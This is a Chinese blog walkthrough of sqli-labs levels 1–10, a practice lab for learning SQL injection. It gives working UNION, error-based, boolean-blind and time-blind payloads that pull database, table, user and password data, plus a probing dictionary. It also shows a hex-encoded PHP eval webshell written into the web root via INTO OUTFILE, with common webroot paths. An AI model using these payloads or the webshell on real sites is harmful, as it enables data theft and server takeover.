前言:
这一系列文章是整理的sqli-labs靶场的通关记录,不过,更新完可能比较慢。由于本人是个菜鸡,文中若有概念错误,欢迎大家指正。
关于sql注入的概念什么的,我就不再赘述,百度上就有解释。
第一关(GET -Error based - single quotes - string)
GET型,基于错误的,单引号,字符型 ,我先来解释一下这几个词的概念。
GET型:get是http中的一种经常被用到的方法,常用于向服务器请求数据,使用get方式向服务器发起请求时,会将请求的参数加载到url地址栏。而另一种也经常用到的是post方法,post方法常被用于向服务器提交数据(比如我们常见到的输入框)。
基于错误的:服务器在收到请求后,会与数据库进行交互,而用户的输入时不可预料的,于是会产生不符合数据库规范的语句,就会产生报错信息,而基于错误的意思就是服务器会将锁雾信息反馈给用户,这往往会为攻击者提供帮助。
单引号:表示参数是被单引号包裹的(现在不明白不要紧,做了之后就知道了)
字符型:数据库中有几种基本的数据类型,比如Mysql中,有Text(文本)、Number(数字)和 Date/Time(日期/时间)类型。而在SQL注入中,根据其参数的数据类型,通常划分为“数字型”和“字符型”
接下来进入第一关,看到首页,提示输入id参数
于是在url中提交参数“id=1”,显示出用户信息
这时,根据关卡的提示,在参数后边加上单引号,即爆出错误提示
大家如果不太看得懂,那么我们来看一下源代码,看到这个,大家应该明白我之前所说的单引号包裹是什么意思了。
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
接着我们来看,我们当我们的参数为“id=1”时,执行的语句是这样的
SELECT * FROM users WHERE id='1' LIMIT 0,1;
但我们在后面跟上一个单引号之后,执行语句变为了
SELECT * FROM users WHERE id='1'' LIMIT 0,1;
于是,前两个单引号闭合之后就多出来了一个单引号,产生了错误
对了,这里解释一下“LIMIT 0,1”是什么意思,这是一个用于检索指定条检索条目的语句,当我们查询数据库时,有时候可能查询到很多条数据,我们只想检索其中某一些,就使用limit。
比如,“limit 0,1” 表示检索第一条数据,“limit 0,3”表示检索第一到第三条数据,“limit 3,5”表示检索第4到8条数据,“limit 3,-1”表示检索第四条到最后一条,“limit 5”表示检索前五条数据,等同于“limit 0,5”
说完limit,我们接着看,当我们在后面输入一个--+
时,却又再次正常显示了
这里引入一个概念,“注释符”,Mysql中有三种注释符
#
,单行注释,注释掉#号后边的内容
--+
(负负空格),上面使用加号是因为在url地址栏中加号会被识别为空格,单行注释,注释掉注释符后边的内容
/**/
内联注释符,注释掉注释符中间的内容
解释了注释符的概念之后,也就应该可以理解为什么能够正确回显了,因为注释符后面的内容被注释了
SELECT * FROM users WHERE id='1'-- ' LIMIT 0,1;
接着往下,输入 id=1’ and 1=1--+ ,可以看到页面是正式显示的
这时候,再来输入 id=1’ and 1=2--+ ,页面却没了显示(ip地址不同请忽略,因为不是一次性写的)
这里再来分析一下原因,先看一下执行的是什么代码
SELECT * FROM users WHERE id='1'and 1=1-- ' LIMIT 0,1;
SELECT * FROM users WHERE id='1'and 1=2-- ' LIMIT 0,1;
第一条语句查询的条件是:id=1 且1=1的行,显然,1=1是必然的,于是能够执行成功
同理,第二条语句查询的条件是:id=1 且 1=2,但是,1=2永远都是为假的,也就没有查询出数据来
这里,大家可能会有疑问,这有什么用呢,那么我这里给大家演示一下。
下面进行了四种查询,模拟我们传入参数后所执行的查询。
selelct * from users where id='1 and 1=1'
selelct * from users where id='1 and 1=2'
前两个执行结果为一组,后两个执行结果为一组
selelct * from users where id='1' and 1=1
selelct * from users where id='1' and 1=1
看到这里,有不少人可能会很懵逼,我们先来对比前两个,为什么我们单引号里面的东西明明是一串儿字符串,但却查到了id=1的结果呢?,如果有人仔细看来,那可能会提出这个问题,这就涉及到mysql中的隐式转换了,我们先来看一下下面这张图,可以看到,id
这个字段其实是int型的。
那我们 id= '1'
,岂不是拿数字和字符串做比较了吗?是的,于是为了能成功比较出数据,mysql自动将字符的 '1'
,转化为了数数字1
。
再看下图,依旧能够正常查询出 id=1 的数据来,因此,在字符串与数字比较时,mysql进行隐式转换,它从左往右进行识别,识别到 1
,读取为数字,识别到 d
,不是数字,于是,后面的都被当做为字符串了,即使后面还有数字。最终,便检索到了 id=1的数据,上面前两种查询也是此原因。
而第三种和第四种,对比之下可以看到,and 1=1
得出了数据,而 and 1=2
发生了错误,而这,也就成为了判断注入点和闭合的一种方式。
接着往下,我们已经判断出单引号闭合了,那下一步该做什么呢,对于这种有报错信息的,又有数据回显的首先考虑的就是联合查询。联合查询,也就是使用union
,语句格式如下
selelct * from users where id='1' union selelct ***
联合查询有两个必要条件:
1.查询数据的列数相同。
2.对应列的数据类型相同。
大家可能不明白什么意思,那就接着往下看。
先看一下下面这张图,我们直接 “selelct 1,2,3;” 的时候,会出现这样一张表
那么我们套用一下联合查询的句式呢,可以看到,查出了这样两条数据
那我们再往后面加个4呢,报错了
提示我们说,我们查询的这两个东西的列数是不一样的,列数不一样我肯定没法给你把两个拼接再一起呀。所以,我们使用联合查询之前可以使用 order by
查询到列数 (当然也会可以直接使用union填充数据,直到报错)
那么可能有人会问,不是还有第二个条件吗。对,没错,那为啥可以查询成功呢,因为前面既然提到隐式转换比较数据,那么这里存储的时候自然也是可以的,数字可以转换为字符串,因此,我们也常用数字来判断显示位。
order by用于对查询到的结果进行排序的,默认是按升序排列。比如像这样,指定按照 “id” 这个字段的顺序来进行排列
或者像这样,指定按照第一列的顺序来排列。,他们两者的结果是相同的。
再看,我们指定按照第三列来排序,也是成功执行
那么如果我们指定一个不存在的列呢,比如第四列,于是报错了
所以,我们就可以使用 order by
来判断列数,进而使用联合查询
好的,回到关卡,开始判断列数,oder by 3
正常显示
order by 4
报错,那看来是有3个字段了
然后我们需要判断显示位,判断,页面中有哪些地方是从数据库中回显过来的数据,以及对应的字段。
我们将id改为一个不存在的值,比如 -1
这样我们联合查询时,就相当于只查询了一条数据(也就是我们后面拼接的1,2,3),可以看到, 页面回显出了2和3.
接下来,我们就可以在这两个位置构造语句和函数进行查询了。在此之前,先给出一些sql注入中常用的函数,以后也会陆陆续续用上。
= > < >= <= <> 比较运算符,最后那个是不等于
and(&&) or(||) not(!) xor(^) 逻辑运算符(与或非,异或)
version() mysql数据库的版本
database() 当前数据库名
user() 用户名
current_user() 当前用户名
system_user() 系统用户名
@@datadir 数据库路径
@@version_compile_os 操作系统版本(win32,win64...)
length() 返回字符串的长度
substring()|substr()|mid() 截取字符串,使用三个参数,第一个参数为截取的字符串,第二个参数为
截取的起始位置(从1开始计数),第三个参数为截取的长度
left(str,length) 从左往右取字符串
right() 从右往做左取字符串
concat() 不含连接符的字符串连接函数
concat_ws() 含连接符的字符串连接函数
group_concat() 连接一个组的字符串,输出字符串的长度最长为64位
ord()|ascii() 返回ascii码
hex() 将字符串转换为16进制
unhex() 将16进制转为字符串
mad5() 返回MD5值
floor() 返回小于参数的最大整数
round() 返回参数接近的整数
rand() 返回0到1之间的随机数
load_file() 读取文件,并返回文件内容作为一个字符串
into outfile()/into dumpfile 写入文件
sleep() 休眠一定时间
if(条件,true返回值,false返回值) if的三目运算符
# 注释符
--+(减减空格或者减减加) 注释符
/*...*/ 注释符
/*!...*/ 注释符,特点是这个注释符里面的内容会被当做mysql语句执行
这里,再引入一个Mysql元数据库的概念,元数据库,相当于一个记录数据库基本信息的库。它记录了一个mysql服务器中有哪些库,每个库中有哪些表,每个表中有哪些字段。这个库是在Mysql5.0以上的版本才默认存在的。这里给大家简单看一下结构。
接下来,我们就使用就好了,比如说,我们直接先查出所有的库名
http://192.168.1.102/sqli-labs-master/Less-1/
?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+
或者,我们对当前的数据库比较感兴趣,还想看一下数据库的版本
http://192.168.1.102/sqli-labs-master/Less-1/
?id=-1' union select 1,version(),database()--+
接着,我们看看这个库中有哪些表
?id=-1' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='security' --+
再看看表中有哪些列
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+
再查出其中的数据
group_concat(username) from security.users 爆出用户名
group_concat(password) from security.users 爆出密码
第一关基本上就完成了,这一关讲得比较详细,后面的就会稍微快一些了,大家有不懂的,尽量多去百度,多去做,看得多了,做得多了,也就懂了。
第二关(GET -Error based - lntiger based)
第二关变成了一个数字型的,第二关比第一关还要更简单些,因为,数字型的话,就不许要判断闭合了,直接 “and 1=1” 和 “and 1=2”就可以判断了,其他后续的步骤都是一样的。
可以看到,不需要加入单引号,二者就显示出了不同的结果,所以可以判断出是数字型的,其他的套用第一关的payload
(有效载荷,即用于测试或者攻击的语句)即可,就是我用来查的那些语句。
第三关(GET -Error based - Single quotes with twist - string)
是一个')
的闭合,没什么可讲的
第四关(GET-Error based - Double Quotes - string)
是一个双引号")
的闭合,也和第一关一样
这四关做完,你就应该对联合查询做出一定的方法总结了。
- 判断注入点
- 猜测字段数
- 判断显示位
- 构造查询语句
其实,其中的难点应该在于判断注入点,所以,你可以写一个简单的字典来进行爆破,先判断是数字型还是字符型,再判断是哪种闭合。比如这是我自己总结的一个简单字典,当然,实际中肯定是用处不大的,也就在靶场中能用一下,但是希望大家多去总结,自己完善一个字典。
and 1=1
and 1=2
' and 1=1 --
' and 1=2 --
) and 1=1 --
) and 1=2 --
') and 1=1 --
') and 1=2 --
')) and 1=1 --
')) and 1=2 --
" and 1=1 --
" and 1=2 --
") and 1=1 --
") and 1=2 --
")) and 1=1 --
")) and 1=2 --
第五关(GET -Double Injection - Single Quotes - string)
Double Injection:双注入,那么这个双注入是啥意思呢,其实我也不太清楚,那就先看了这一关再说吧。
先随便输入一个id,诶,可以看到,这一关他居然不显示我们的我们的用户名和密码了。
那这说明个什么呢?说明页面不会直接将查询到的数据库的信息回显出来了,那我们的联合查询也就不能用了(大家尝试一下就知道了),毕竟联合查询还有个关键步骤要判断显示位呢。
那大家可能又会懵逼了,都不回显数据库的信息了,那还有啥用,别急,只是说不会直接查询了反馈给你(毕竟直接反馈出密码,怎么想都不合理吧),但是还有别的方法。
我们还是先按步骤来,先判断注入点
?id=1' and 1=1--+
回显正常
?id=1' and 1=2--+
无回显
判断了注入点之后,既然联合查询不能用,那这里我就要先讲一下这一关要用到的方法了,双注入,其实我更喜欢叫“报错注入”,因为这一关虽然不直接回显,但是你输入一个 '
,它也依旧是会给你提示出报错信息的,我们就可以利用报错信息进行sql注入。
报错注入有三种方式
第一种:group by重复键冲突
?id=1' and (select 1 from (select count(*),concat((payload),floor
(rand(0)*2))x from information_schema.tables group by x)a)--+
这里先给大家看看代码和效果,payload就是你想查询的语句,比如database(),也可以是一个嵌套的子查询语句。看到这么长一串,想必不少人头都大了,反正我头都大了。
本来想自己解释一番,但是想了想,之前也有别人讲的很完善了,这里就给大家一个链接去看看吧。戳这里看 ,或者把这个式子直接背下来也行。
第二种:updatexml()函数
相比于 group by 来说,这个函数就要简洁很多了,不过,这个函数是有着版本限制的,似乎是5.15以后。用法如下
?id=1' and updatexml(1,concat('|',payload,'|'),1)--+
payload两边的 “|” 也可以是其他字符,这两个字符只是为了方便查看。
第三种:extractvalue()函数
这个函数和上面的updatexml()大体上是差不多的,用法如下
?id=1' and extractvalue(1, concat('|',payload,'|'))
下面给出payload
payload=database()
爆出当前库名
payload=select group_concat(schema_name) from information_schema.schemata
爆出所有库名
group_concat函数有输出限制,所以输出超过时得采用limit来进行逐行输出
payload=select table_name from information_schema.tables where
table_schema='security' limit 1,1
爆出表名
payload=select column_name from information_schema.columns where
table_name='users' and table_schema='security' limit 1,1
爆出字段名
payload=select username from users limit 0,1
爆出数据
写到limit,那就补充一点:
limit从0开始计数,比如“limit 0,1”,取出的是第一条数据,而substr等字符串截取函数从1开始计数,substr(str,1,1)表示取第一个字母。
需要注意,updatexml函数和extractvalue函数都有着输出长度的限制,只能输出32位,有时可以结合substr来输出
第六关(GET - Double lnjection - Double Quotes - string)
这一关就没什么特别的了,和上一关一样,只不过换成了双引号而已。
第七关(GET -Dump into outfile - string)
这一关就比较特别了,与mysql中的文件的写入有关系。我们随便输入一个 1 看一下,提示我们进去了,让我们使用outfile,这里先不管。
我们还是按照之前的步骤来,第一步,先判断注入点
?id=1')) and 1=1--+ 正常回显
?id=1')) and 1=2--+ 回显错误
根据上面两张图,我们可以判断出是'))
闭合的。
接下来我讲一下mysql中的文件读取和写入吧
文件读取(load_file()函数)
通常来说,我们要想通过load_file读取一个文件,需要满足3个条件
1.文件是完全可读的,且用户具备读取权限
在高版本的Mysql中有一个特性secure_file_priv控制了Mysql中文件的导入和导出
- ure_file_priv的值为null ,表示限制mysqld 不允许导入|导出,默认为null
- 当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
- 当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
判断是否具备权限可以使用如下方法
and (select count(*) from mysql.user)>0 如果结果返回正常,说明具有读写权限.
and (select count(*) from mysql.user)>0 返回错误,应该是管理员给数据库账户降权了
2.文件大小必须小于max_allowed_packet
从字面上就可以看出这是一个限制传输数据包大小的选项,使用如下命令进行查看
show variables like 'max_allowed_packet';
3.知道文件的绝对路径
文件写入( into outfile() 或者 into dumpfile() )
要实现文件写入,除了secure_file_priv允许写入文件之外,还需要用户具有FILE权限(file权限指的是用户是否能够对系统的文件读取和写操作)
其实这一关主要是关于文件写入的,因为并没有显示位,所以也不太好读取,我们要完成这一关,就需要对secure_file_priv选项进行配置
首先在mysql命令行中进行查看,可以看到,默认为NULL
show global variables like '%secure%';
所以我们需要到配置文件中进行修改,加入一条secure_file_priv=""
,配置文件中默认是没有此选项的,mysql配置文件是mysql根目录下 的my.ini文件。
修改完成后记得重启服务,重启后再次查看,就已经变为空了,表示不进行限制。
接下来回到关卡,我们随便写入一个文件,直接写入到C盘下,使用into outfile的方法也很简单,直接使用联合查询就能写入
?id=1')) union select 1,2,"<?phpinfo();?>" into outfile 'C:/outfilee.php'--+
虽然页面依然报错,但是我们进行查看时发现文件已经写入成功了,而且是直接写入的php文件
当然,虽然能将文件写入到C盘根目录下,但是这样是很难利用起来的,如果能获取到网站的目录那当然是最好的了,那样就可以直接写入一句话木马,再使用菜刀之类的工具连接了。
这里给出一些环境下,常见的web站点目录,这里我也只搭建过winserver和phpstudy的,如果大家都尝试去搭建一下 的话,应该会印象更深刻些,也可以根据经验进行判断。
winserver的iis默认路径c:\Inetpub\wwwroot
linux的nginx一般
是/usr/local/nginx/html,/home/wwwroot/default,/usr/share/nginx,/var/www/htm等
apache 就.../var/www/htm,.../var/www/html/htdocs
phpstudy2018 就是...\PhpStudy\PHPTutorial\WWW\
xammp 就是...\xampp\htdocs
这里我们手动看一下自己的网站目录,再来进行写入
?id=1')) union select 1,2,0x3c3f706870406576616c28245f524551554553545b27636d64275d293b3f3e into outfile 'c:/PhpStudy/PHPTutorial/WWW/ccc.php'--+
3c3f706870406576616c28245f524551554553545b27636d64275d293b3f3e
是进行十六进制编码的一句话木马<?php @eval($_REQUEST['cmd']); ?>
,0x是十六进制的前缀,最后使用菜刀连接即可。(不知道什么叫菜刀的,不知道怎么用的请自行百度)
演示完之后,可能也有人会想,你这里自己搭建的环境倒还能自己看路径,但是真实场景中我该咋办呢,这里提供两个思路
- 通过报错得出路径(我试了前几关,反正没成功,不过后面的关卡确实有错误提示直接爆出路径的)
- 通过@@datadir得出数据库的路径,用来猜测网站路径
这里演示一下第二种,以第一关为例,我们利用@@datadir获取到数据库路径
很显然,这是一个phpstudy搭建的,所以它的网站根目录应该和MYSQL在同一目录下,对于这种集成环境,我们很轻松就能猜到他的路径了。
第八关(GET - Blind -Boolian Based - Single Quotes)
基于布尔型的盲注,什么叫盲注呢,我演示一下你就知道了
比如第一关,我们既能够使用联合查询反馈出数据,输入单引号时,也会提示出报错信息,而到了第五关,它就只提示一个“you are in”,但是你输入单引号进行闭合时,它也依旧会提示出报错信息
而到了第八关,当我们使用单引号闭合了之后,却直接没了显示
于是,就有了盲注,也就是没有回显的注入
基于bool的盲注,主要会用到以下几个函数
length()
substr()
ascii()
hex()
使用length()函数判断当前数据库名的长度,当输输入“and length(database())=7”时,页面无回显
当输入“length(database())=8”时页面正常显示,而我们知道我们当前数据库名为“security”,长度确实是八位,之所以能进行此判断,是因为length()函数会返回一个字符串的长度,length(database())的返回值也就是8,
当输入“length(database())=8”时,也就相当于“8=8”,判断结果为真,结合上and,正常回显
当输入“length(database())=7”时,也就相当于“8=7”,判断结果为假,不能正常回显
判断出数据库长度之后,下一步就要判断数据库名了
substr函数的用法是截取字符串,他有三个参数,第一个是被截取的目标,第二个是截取的起始位置(从1开始),第三个是截取的长度。
比如substr('abcde',2,2)
,截取的结果是bc
,下面演示的这些,实际上当然不会手工这样判断,主要是理解其原理。
?id=1' and substr(database(),1,1)='s'--+
......
?id=1' and substr(database(),2,1)='e'--+
......
?id=1' and substr(database(),3,1)='c'--+
.....
substr(database(),1,1) 返回的结果为s
,所以's'='s'
是必然成立的,于是正常回显,换成别的就不能正常回显了
除了直接用字符串进行比较,还可以用上其他函数,对字符串进行编码后比较,比如使用ascii函数,或者hex函数,也都是能够正常回显的
?id=1' and ascii(substr(database(),1,1))=115--+
?id=1' and hex(substr(database(),1,1))=73--+
有人可能会不理解,我明明可以字符串比较,那我为什么还要使用这些函数呢,这里我列出两点
- 网站过滤了引号,进行转码可以绕过单引号,这一关当然是没有过滤的,但如果遇上一个数字型注入,网站却过滤引号呢
- mysql不区分大小写,
'e'='E'
在mysql中返回值为 1,所以有时候我们读取到的数据不一定准确。
接着继续,判断出了库,那自然是要判断表
?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e'--+
?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1)='m'--+
判断出第一个表为emails
......
?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1)='r'--+
......
第二个表为referers表
......
依次往下判断,最终判断出第四个表为users
表,继续向下就该判断列名了
?id=1' and substr((select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 0,1),1,1)='i'--+
?id=1' and substr((select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 0,1),2,1)='d'--+
判断出第一个字段的列名为id
?id=1' and substr((select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 1,1),1,1)='u'--+
........
最终分别判断出了三个列名,然后我们开始判断用户名和密码
?id=1' and substr((select username from users limit 0,1),1,1)='d'--+
.......
可以看到,上面这条命令时执行成功了的,但是,我们知道我们users表里面的第一个用户名其实是Dumb,但是却能够正常回显,这样的话,我们在获取表中数据时,就有很大的不确定性,每个字母都可能是大写或小写,所以需要用到如ascii()和hex()之类的函数。
?id=1' and ascii(substr((select username from users limit 0,1),1,1))=68--+
.........
这样我们就能准确判断出数据(68是‘D’的ascii码),ascii码对照表
这一关我只使用了 and,大家也大可尝试其他几个逻辑运算符。
第九关(GET -Blind - Time based.- Single Quotes)
基于时间的盲注,其实和布尔盲注差不多,但是由于其特殊性,单独被独立成了一类。
这一关,按照前面的思维,肯定是要先来判断闭合,但是会发现,无论如何,回显都是一个“you are in”,比如我给了个-111
也会返回“you are in”。
那我们就根据题中条件来判断一下。这时候就只能用上延时注入了。
关键函数 if()
,sleep()
我们输入如下一段代码
?id=1 and sleep(5)--+
按F12调出开发者模式,查看请求与响应时间,火狐浏览器在“网络”中,谷歌浏览器在“network”中,以谷歌做演示,可以看到响应时间是2s多点。
提示:如果遇到延迟了很久都没有出来的,那可能是浏览器以分钟为单位,可以把数字调小一点
但是当我们加入单引号时
?id=1' and sleep(5)--+
可以看到,响应时间变为了7.22s,而且,即使直接看,也能看到网页的加载肉眼可见的变慢了,一直在转圈,就这样,我们就能判断出是单引号闭合了。
现在我们知道 sleep() 的作用了,那 if又是什么作用呢。有三个参数,if(判断条件,true语句,false语句),第一个参数是判断的条件,如果是真,则返回前一个true语句,如果是假,则返回false语句。
?id=1' and if(1,sleep(5),1)--+
我们输入上面那个语句之后,浏览器依旧产生了延迟,这是为什么呢,首先浏览器判断第一个表达式,而我们第一个表达式为1
,表示是真,所以它返回了ture语句
,也就是 sleep(5)
,于是最终的执行语句变为了?id=1' and sleep(5)--+
。
接下来我们就可以利用这两个函数进行注入了。
首先来判断数据库名
?id=1' and if(length(database())=8,sleep(5),1)--+
我再解读一遍上面这条语句
- 首先 length()函数执行,返回了数据库长度
8
- 于是语句变为
?id=1' and if(8=8,sleep(5),1)--+
,接着判断表达式中8=8是否成立 - 判断8=8成立之后,执行语句true语句,于是语句变为
?id=1' and sleep(5)--+
接着往下就该判断数据库名了,其实用的语句和布尔型的语句是一模一样的。
那么这一关和前一关的区别在哪里呢?区别在于,前一关利用返回的布尔值进行与运算
,如果查不到数据的话,页面会返回空。
而这一关源码将数据库查询的结果统一化了,无论数据库里面能否查到数据都会返回“you are in”,所以需要用上if()和sleep函数。
后面的步骤就交给大家自己了。
第十关(GET-Blind -Time based - double quotes)
和前一关没有什么区别,只是换成了单引号闭合
到此,前面十关就完成了,自己写的过程中还是又有一些收获,比如,理解到sql注入写一句话木马需要的是哪些条件,几种注入手法都可以用来猜测数据库路径,进而推测网站路径。
这十关,主要讲的就是get方法下的四种注入手法,希望大家多去理解